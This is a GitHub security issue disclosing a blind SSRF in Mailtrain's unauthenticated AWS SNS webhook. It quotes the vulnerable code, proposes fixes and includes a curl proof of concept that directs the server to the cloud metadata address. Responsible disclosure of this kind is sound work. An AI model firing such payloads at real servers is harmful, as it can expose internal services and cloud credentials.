Skip to content

Security: SSRF via Unauthenticated AWS SNS Webhook Endpoint (CWE-918) #1389

Description

@lighthousekeeper1212

Summary

The /webhooks/aws endpoint is completely unauthenticated and follows a user-controlled URL in the SubscribeURL field, enabling blind Server-Side Request Forgery (SSRF).

Severity: MEDIUM (blind SSRF from the server)

Vulnerable Code

server/routes/webhooks.js, lines 15-24:

```javascript
router.postAsync('/aws', async (req, res) => {
if (typeof req.body === 'string') {
req.body = JSON.parse(req.body);
}
switch (req.body.Type) {
case 'SubscriptionConfirmation':
if (req.body.SubscribeURL) {
await request(req.body.SubscribeURL); // SSRF - follows any URL
break;
}
```

The endpoint has:

  • Zero authentication (no API key, no signature verification)
  • No URL domain validation
  • Uses `request-promise` which follows redirects

Impact

An attacker can make the server send HTTP requests to arbitrary URLs:

This is blind SSRF - the response is not returned to the attacker.

PoC

```bash
curl -X POST https://mailtrain.example.com/webhooks/aws
-H "Content-Type: application/json"
-d '{"Type":"SubscriptionConfirmation","SubscribeURL":"http://169.254.169.254/latest/meta-data/"}'
```

Suggested Fix

Validate the `SubscribeURL` matches the expected AWS SNS domain, or verify the SNS message signature:

```javascript
const url = new URL(req.body.SubscribeURL);
if (!url.hostname.endsWith('.amazonaws.com')) {
throw new Error('Invalid SubscribeURL domain');
}
```

Or better, use AWS SDK's `MessageValidator` to verify the signature before processing.

Additional Note

All seven webhook endpoints (`/aws`, `/sparkpost`, `/sendgrid`, `/mailgun`, `/zone-mta`, `/zone-mta/sender-config/:cid`, `/postal`) lack authentication. The other endpoints don't have the SSRF issue but could be abused to manipulate campaign/subscriber status if an attacker knows or guesses campaign/message IDs.

Disclosure

Found via static code analysis. Reporting responsibly.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions